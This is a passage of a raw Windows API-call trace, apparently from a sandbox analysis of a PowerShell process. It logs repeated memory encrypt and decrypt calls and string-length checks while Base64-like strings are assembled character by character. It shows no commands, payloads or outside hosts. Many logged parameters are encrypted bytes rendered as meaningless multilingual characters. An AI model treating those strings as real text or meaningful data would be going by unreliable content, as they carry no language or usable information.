(param_1="讼弮颯Ｏ䊽불夵驇꒺ຫ鯜ᲁၵ૪拶裏鬻汝峜ᔦࠇ莖䷿ﷻŠ맥앓䶫륎늎") returned 0x20 [0255.998] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0255.998] SysStringLen (param_1="WSClGqaJffRYXKfrjkPBXz3+Vs᬴黉빸胄") returned 0x20 [0255.998] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0255.998] SysStringLen (param_1="讼弮颯Ｏ䊽불夵驇꒺ຫ鯜ᲁၵ૪拶裏鬻汝峜ᔦࠇ莖䷿褋㭬ݭ麪᳚봵᷆絀") returned 0x20 [0255.998] SysStringLen (param_1="讼弮颯Ｏ䊽불夵驇꒺ຫ鯜ᲁၵ૪拶裏鬻汝峜ᔦࠇ莖䷿褋㭬ݭ麪᳚봵᷆絀") returned 0x20 [0255.998] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0255.998] SysStringLen (param_1="WSClGqaJffRYXKfrjkPBXz3+VsB黉빸胄") returned 0x20 [0255.998] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0255.998] SysStringLen (param_1="讼弮颯Ｏ䊽불夵驇꒺ຫ鯜ᲁၵ૪拶裏鬻汝峜ᔦࠇ莖䷿ባ砀㐆ㆺ∰\回凛≖) returned 0x20 [0255.999] SysStringLen (param_1="讼弮颯Ｏ䊽불夵驇꒺ຫ鯜ᲁၵ૪拶裏鬻汝峜ᔦࠇ莖䷿ባ砀㐆ㆺ∰\回凛≖) returned 0x20 [0255.999] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0255.999] SysStringLen (param_1="WSClGqaJffRYXKfrjkPBXz3+VsBw黉빸胄") returned 0x20 [0255.999] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0255.999] SysStringLen (param_1="讼弮颯Ｏ䊽불夵驇꒺ຫ鯜ᲁၵ૪拶裏鬻汝峜ᔦࠇ莖䷿쵴Ⅶ䰎㡙໴ᜏ垙㷖") returned 0x20 [0255.999] SysStringLen (param_1="讼弮颯Ｏ䊽불夵驇꒺ຫ鯜ᲁၵ૪拶裏鬻汝峜ᔦࠇ莖䷿쵴Ⅶ䰎㡙໴ᜏ垙㷖") returned 0x20 [0255.999] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0255.999] SysStringLen (param_1="WSClGqaJffRYXKfrjkPBXz3+VsBwU빸胄") returned 0x20 [0255.999] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0255.999] SysStringLen (param_1="讼弮颯Ｏ䊽불夵驇꒺ຫ鯜ᲁၵ૪拶裏鬻汝峜ᔦࠇ莖䷿孾痹ﭒ톌₻俅䭐迲") returned 0x20 [0255.999] SysStringLen (param_1="讼弮颯Ｏ䊽불夵驇꒺ຫ鯜ᲁၵ૪拶裏鬻汝峜ᔦࠇ莖䷿孾痹ﭒ톌₻俅䭐迲") returned 0x20 [0255.999] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0255.999] SysStringLen (param_1="WSClGqaJffRYXKfrjkPBXz3+VsBwUW胄") returned 0x20 [0255.999] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0256.000] SysStringLen (param_1="讼弮颯Ｏ䊽불夵驇꒺ຫ鯜ᲁၵ૪拶裏鬻汝峜ᔦࠇ莖䷿趠ꀡﷲ糬迮䖮艢") returned 0x20 [0256.000] SysStringLen (param_1="讼弮颯Ｏ䊽불夵驇꒺ຫ鯜ᲁၵ૪拶裏鬻汝峜ᔦࠇ莖䷿趠ꀡﷲ糬迮䖮艢") returned 0x20 [0256.000] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0256.000] SysStringLen (param_1="WSClGqaJffRYXKfrjkPBXz3+VsBwUWG胄") returned 0x20 [0256.000] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0256.000] SysStringLen (param_1="讼弮颯Ｏ䊽불夵驇꒺ຫ鯜ᲁၵ૪拶裏鬻汝峜ᔦࠇ莖䷿嬉ৣ˟㫚쿱᝷曯틕") returned 0x20 [0256.000] SysStringLen (param_1="讼弮颯Ｏ䊽불夵驇꒺ຫ鯜ᲁၵ૪拶裏鬻汝峜ᔦࠇ莖䷿嬉ৣ˟㫚쿱᝷曯틕") returned 0x20 [0256.000] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0256.000] SysStringLen (param_1="WSClGqaJffRYXKfrjkPBXz3+VsBwUWGs") returned 0x20 [0256.000] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0256.000] SysStringLen (param_1="讼弮颯Ｏ䊽불夵驇꒺ຫ鯜ᲁၵ૪拶裏鬻汝峜ᔦࠇ莖䷿쩹歨ⅱ⁆翨㚳≏훙") returned 0x20 [0256.001] SysStringLen (param_1="讼弮颯Ｏ䊽불夵驇꒺ຫ鯜ᲁၵ૪拶裏鬻汝峜ᔦࠇ莖䷿쩹歨ⅱ⁆翨㚳≏훙") returned 0x20 [0256.001] SysStringLen (param_1="讼弮颯Ｏ䊽불夵驇꒺ຫ鯜ᲁၵ૪拶裏鬻汝峜ᔦࠇ莖䷿쩹歨ⅱ⁆翨㚳≏훙") returned 0x20 [0256.001] SysStringLen (param_1="讼弮颯Ｏ䊽불夵驇꒺ຫ鯜ᲁၵ૪拶裏鬻汝峜ᔦࠇ莖䷿쩹歨ⅱ⁆翨㚳≏훙") returned 0x28 [0256.001] SystemFunction041 (in: Memory=0x3af9e4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af9e4) returned 0x0 [0256.001] SysStringLen (param_1="WSClGqaJffRYXKfrjkPBXz3+VsBwUWGsJ叽嘘骈背儼ᯢ") returned 0x28 [0256.001] SystemFunction040 (in: Memory=0x3af9e4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af9e4) returned 0x0 [0256.002] SysStringLen (param_1="讼弮颯Ｏ䊽불夵驇꒺ຫ鯜ᲁၵ૪拶裏鬻汝峜ᔦࠇ莖䷿쩹歨ⅱ⁆翨㚳≏훙甆\퓚꾹ᠨu㵇⋊) returned 0x28 [0256.002] SysStringLen (param_1="讼弮颯Ｏ䊽불夵驇꒺ຫ鯜ᲁၵ૪拶裏鬻汝峜ᔦࠇ莖䷿쩹歨ⅱ⁆翨㚳≏훙甆\퓚꾹ᠨu㵇⋊) returned 0x28 [0256.002] SystemFunction041 (in: Memory=0x3af9e4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af9e4) returned 0x0 [0256.002] SysStringLen (param_1="WSClGqaJffRYXKfrjkPBXz3+VsBwUWGsJ8嘘骈背儼ᯢ") returned 0x28 [0256.002] SystemFunction040 (in: Memory=0x3af9e4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af9e4) returned 0x0 [0256.002] SysStringLen (param_1="讼弮颯Ｏ䊽불夵驇꒺ຫ鯜ᲁၵ૪拶裏鬻汝峜ᔦࠇ莖䷿쩹歨ⅱ⁆翨㚳≏훙込ළ垃⃡ꯋ㴏㦞") returned 0x28 [0256.002] SysStringLen (param_1="讼弮颯Ｏ䊽불夵驇꒺ຫ鯜ᲁၵ૪拶裏鬻汝峜ᔦࠇ莖䷿쩹歨ⅱ⁆翨㚳≏훙込ළ垃⃡ꯋ㴏㦞") returned 0x28 [0256.002] SystemFunction041 (in: Memory=0x3af9e4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af9e4) returned 0x0 [0256.002] SysStringLen (param_1="WSClGqaJffRYXKfrjkPBXz3+VsBwUWGsJ8Q骈背儼ᯢ") returned 0x28 [0256.002] SystemFunction040 (in: Memory=0x3af9e4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af9e4) returned 0x0 [0256.002] SysStringLen (param_1="讼弮颯Ｏ䊽불夵驇꒺ຫ鯜ᲁၵ૪拶裏鬻汝峜ᔦࠇ莖䷿쩹歨ⅱ⁆翨㚳≏훙Ⅹኁ붷ো챀伙㻇숧") returned 0x28 [0256.002] SysStringLen (param_1="讼弮颯Ｏ䊽불夵驇꒺ຫ鯜ᲁၵ૪拶裏鬻汝峜ᔦࠇ莖䷿쩹歨ⅱ⁆翨㚳≏훙Ⅹኁ붷ো챀伙㻇숧") returned 0x28 [0256.002] SystemFunction041 (in: Memory=0x3af9e4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af9e4) returned 0x0 [0256.003] SysStringLen (param_1="WSClGqaJffRYXKfrjkPBXz3+VsBwUWGsJ8QE背儼ᯢ") returned 0x28 [0256.003] SystemFunction040 (in: Memory=0x3af9e4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af9e4) returned 0x0 [0256.003] SysStringLen (param_1="讼弮颯Ｏ䊽불夵驇꒺ຫ鯜ᲁၵ૪拶裏鬻汝峜ᔦࠇ莖䷿쩹歨ⅱ⁆翨㚳≏훙跏☜㨓蓺턆뇂") returned 0x28 [0256.003] SysStringLen (param_1="讼弮颯Ｏ䊽불夵驇꒺ຫ鯜ᲁၵ૪拶裏鬻汝峜ᔦࠇ莖䷿쩹歨ⅱ⁆翨㚳≏훙跏☜㨓蓺턆뇂") returned 0x28 [0256.003] SystemFunction041 (in: Memory=0x3af9e4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af9e4) returned 0x0 [0256.003] SysStringLen (param_1="WSClGqaJffRYXKfrjkPBXz3+VsBwUWGsJ8QE3背儼ᯢ") returned 0x28 [0256.003] SystemFunction040 (in: Memory=0x3af9e4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af9e4) returned 0x0 [0256.003] SysStringLen (param_1="讼弮颯Ｏ䊽불夵驇꒺ຫ鯜ᲁၵ૪拶裏鬻汝峜ᔦࠇ莖䷿쩹歨ⅱ⁆翨㚳≏훙玵㔅쪬ᎇ㪔쀃렜ׅ") returned 0x28 [0256.003] SysStringLen (param_1="讼弮颯Ｏ䊽불夵驇꒺ຫ鯜ᲁၵ૪拶裏鬻汝峜ᔦࠇ莖䷿쩹歨ⅱ⁆翨㚳≏훙玵㔅쪬ᎇ㪔쀃렜ׅ") returned 0x28 [0256.003] SystemFunction041 (in: Memory=0x3af9e4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af9e4) returned 0x0 [0256.003] SysStringLen (param_1="WSClGqaJffRYXKfrjkPBXz3+VsBwUWGsJ8QE3d儼ᯢ") returned 0x28 [0256.003] SystemFunction040 (in: Memory=0x3af9e4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af9e4) returned 0x0 [0256.003] SysStringLen (param_1="讼弮颯Ｏ䊽불夵驇꒺ຫ鯜ᲁၵ૪拶裏鬻汝峜ᔦࠇ莖䷿쩹歨ⅱ⁆翨㚳≏훙૙鳽嘏뉥苢ꇸ탍") returned 0x28 [0256.003] SysStringLen (param_1="讼弮颯Ｏ䊽불夵驇꒺ຫ鯜ᲁၵ૪拶裏鬻汝峜ᔦࠇ莖䷿쩹歨ⅱ⁆翨㚳≏훙૙鳽嘏뉥苢ꇸ탍") returned 0x28 [0256.004] SystemFunction041 (in: Memory=0x3af9e4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af9e4) returned 0x0 [0256.004] SysStringLen (param_1="WSClGqaJffRYXKfrjkPBXz3+VsBwUWGsJ8QE3dzᯢ") returned 0x28 [0256.004] SystemFunction040 (in: Memory=0x3af9e4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af9e4) returned 0x0 [0256.004] SysStringLen (param_1="讼弮颯Ｏ䊽불夵驇꒺ຫ鯜ᲁၵ૪拶裏鬻汝峜ᔦࠇ莖䷿쩹歨ⅱ⁆翨㚳≏훙뚎靦雇鬵䢹䚑") returned 0x28 [0256.004] SysStringLen (param_1="讼弮颯Ｏ䊽불夵驇꒺ຫ鯜ᲁၵ૪拶裏鬻汝峜ᔦࠇ莖䷿쩹歨ⅱ⁆翨㚳≏훙뚎靦雇鬵䢹䚑") returned 0x28 [0256.004] SystemFunction041 (in: Memory=0x3af9e4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af9e4) returned 0x0 [0256.004] SysStringLen (param_1="WSClGqaJffRYXKfrjkPBXz3+VsBwUWGsJ8QE3dzD") returned 0x28 [0256.004] SystemFunction040 (in: Memory=0x3af9e4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af9e4) returned 0x0 [0256.004] SysStringLen (param_1="讼弮颯Ｏ䊽불夵驇꒺ຫ鯜ᲁၵ૪拶裏鬻汝峜ᔦࠇ莖䷿쩹歨ⅱ⁆翨㚳≏훙ᩆ䲣怓撨렙\ᛜ죹∆) returned 0x28 [0256.004] SysStringLen (param_1="讼弮颯Ｏ䊽불夵驇꒺ຫ鯜ᲁၵ૪拶裏鬻汝峜ᔦࠇ莖䷿쩹歨ⅱ⁆翨㚳≏훙ᩆ䲣怓撨렙\ᛜ죹∆) returned 0x28 [0256.005] SysStringLen (param_1="讼弮颯Ｏ䊽불夵驇꒺ຫ鯜ᲁၵ૪拶裏鬻汝峜ᔦࠇ莖䷿쩹歨ⅱ⁆翨㚳≏훙ᩆ䲣怓撨렙\ᛜ죹∆) returned 0x28 [0256.005] SysStringLen (param_1="讼弮颯Ｏ䊽불夵驇꒺ຫ鯜ᲁၵ૪拶裏鬻汝峜ᔦࠇ莖䷿쩹歨ⅱ⁆翨㚳≏훙ᩆ䲣怓撨렙\ᛜ죹∆) returned 0x30 [0256.005] SystemFunction041 (in: Memory=0x5c92e24, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e24) returned 0x0 [0256.005] SysStringLen (param_1="WSClGqaJffRYXKfrjkPBXz3+VsBwUWGsJ8QE3dzD1琶᝺\敪⋋) returned 0x30 [0256.005] SystemFunction040 (in: Memory=0x5c92e24, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e24) returned 0x0 [0256.005] SysStringLen (param_1="讼弮颯Ｏ䊽불夵驇꒺ຫ鯜ᲁၵ૪拶裏鬻汝峜ᔦࠇ莖䷿쩹歨ⅱ⁆翨㚳≏훙ᩆ䲣怓撨렙\ᛜ죹숆켹鏊笨跅⋌) returned 0x30 [0256.005] SysStringLen (param_1="讼弮颯Ｏ䊽불夵驇꒺ຫ鯜ᲁၵ૪拶裏鬻汝峜ᔦࠇ莖䷿쩹歨ⅱ⁆翨㚳≏훙ᩆ䲣怓撨렙\ᛜ죹숆켹鏊笨跅⋌) returned 0x30 [0256.005] SystemFunction041 (in: Memory=0x5c92e24, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e24) returned 0x0 [0256.006] SysStringLen (param_1="WSClGqaJffRYXKfrjkPBXz3+VsBwUWGsJ8QE3dzD1Q᝺\敪⋋) returned 0x30 [0256.006] SystemFunction040 (in: Memory=0x5c92e24, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e24) returned 0x0 [0256.006] SysStringLen (param_1="讼弮颯Ｏ䊽불夵驇꒺ຫ鯜ᲁၵ૪拶裏鬻汝峜ᔦࠇ莖䷿쩹歨ⅱ⁆翨㚳≏훙ᩆ䲣怓撨렙\ᛜ죹笆幠ꟓ\䳝襄캼\뷘⊹) returned 0x30 [0256.006] SysStringLen (param_1="讼弮颯Ｏ䊽불夵驇꒺ຫ鯜ᲁၵ૪拶裏鬻汝峜ᔦࠇ莖䷿쩹歨ⅱ⁆翨㚳≏훙ᩆ䲣怓撨렙\ᛜ죹笆幠ꟓ\䳝襄캼\뷘⊹) returned 0x30 [0256.006] SystemFunction041 (in: Memory=0x5c92e24, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e24) returned 0x0 [0256.006] SysStringLen (param_1="WSClGqaJffRYXKfrjkPBXz3+VsBwUWGsJ8QE3dzD1QA\敪⋋) returned 0x30 [0256.006] SystemFunction040 (in: Memory=0x5c92e24, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e24) returned 0x0 [0256.006] SysStringLen (param_1="讼弮颯Ｏ䊽불夵驇꒺ຫ鯜ᲁၵ૪拶裏鬻汝峜ᔦࠇ莖䷿쩹歨ⅱ⁆翨㚳≏훙ᩆ䲣怓撨렙\ᛜ죹褆쨉҈추ණ쉳ᖈ⊕) returned 0x30 [0256.006] SysStringLen (param_1="讼弮颯Ｏ䊽불夵驇꒺ຫ鯜ᲁၵ૪拶裏鬻汝峜ᔦࠇ莖䷿쩹歨ⅱ⁆翨㚳≏훙ᩆ䲣怓撨렙\ᛜ죹褆쨉҈추ණ쉳ᖈ⊕) returned 0x30 [0256.006] SystemFunction041 (in: Memory=0x5c92e24, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e24) returned 0x0 [0256.006] SysStringLen (param_1="WSClGqaJffRYXKfrjkPBXz3+VsBwUWGsJ8QE3dzD1QA=㏶櫴詥쯳") returned 0x30 [0256.006] SystemFunction040 (in: Memory=0x5c92e24, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e24) returned 0x0 [0256.006] EtwEventActivityIdControl () returned 0x0 [0256.007] EtwEventActivityIdControl () returned 0x0 [0256.007] EtwEventActivityIdControl () returned 0x0 [0256.007] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e684, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0256.007] EtwEventActivityIdControl () returned 0x0 [0256.007] EtwEventActivityIdControl () returned 0x0 [0256.007] EtwEventActivityIdControl () returned 0x0 [0256.008] SysStringLen (param_1="") returned 0x8 [0256.008] SysStringLen (param_1="N") returned 0x8 [0256.008] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0256.008] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0256.008] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0256.008] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0256.009] SysStringLen (param_1="ND") returned 0x8 [0256.009] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0256.009] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0256.009] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0256.009] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0256.009] SysStringLen (param_1="NDZ") returned 0x8 [0256.009] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0256.009] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0256.009] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0256.009] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0256.009] SysStringLen (param_1="NDZl") returned 0x8 [0256.009] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0256.009] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0256.009] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0256.009] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0256.010] SysStringLen (param_1="NDZlO") returned 0x8 [0256.010] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0256.010] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0256.010] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0256.010] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0256.010] SysStringLen (param_1="NDZlOD") returned 0x8 [0256.010] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0256.010] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0256.010] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0256.010] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0256.010] SysStringLen (param_1="NDZlODR") returned 0x8 [0256.010] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0256.011] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0256.011] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0256.011] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0256.011] SysStringLen (param_1="NDZlODRm") returned 0x8 [0256.011] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0256.011] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0256.011] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0256.011] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0256.012] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x10 [0256.012] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0256.012] SysStringLen (param_1="NDZlODRmY뮇펬᠚࣢ᣆ㬞勉") returned 0x10 [0256.012] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0256.012] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0256.012] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0256.012] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0256.012] SysStringLen (param_1="NDZlODRmYz펬᠚࣢ᣆ㬞勉") returned 0x10 [0256.012] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0256.012] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0256.012] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0256.012] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0256.013] SysStringLen (param_1="NDZlODRmYzN᠚࣢ᣆ㬞勉") returned 0x10 [0256.013] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0256.013] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0256.013] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0256.013] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0256.013] SysStringLen (param_1="NDZlODRmYzNl࣢ᣆ㬞勉") returned 0x10 [0256.013] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0256.013] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0256.013] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0256.013] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0256.013] SysStringLen (param_1="NDZlODRmYzNlYᣆ㬞勉") returned 0x10 [0256.013] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0256.013] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0256.013] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0256.014] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0256.014] SysStringLen (param_1="NDZlODRmYzNlYT㬞勉") returned 0x10 [0256.014] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0256.014] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0256.014] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0256.014] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0256.014] SysStringLen (param_1="NDZlODRmYzNlYTJ勉") returned 0x10 [0256.014] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0256.014] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0256.014] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0256.014] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0256.014] SysStringLen (param_1="NDZlODRmYzNlYTJh") returned 0x10 [0256.014] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0256.015] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0256.015] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0256.015] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0256.015] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x18 [0256.015] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0256.015] SysStringLen (param_1="NDZlODRmYzNlYTJhM虵亅㸱멷嘇ꚺ") returned 0x18 [0256.015] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0256.015] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0256.015] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0256.016] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0256.016] SysStringLen (param_1="NDZlODRmYzNlYTJhMD亅㸱멷嘇ꚺ") returned 0x18 [0256.016] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0256.016] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0256.016] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0256.016] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: 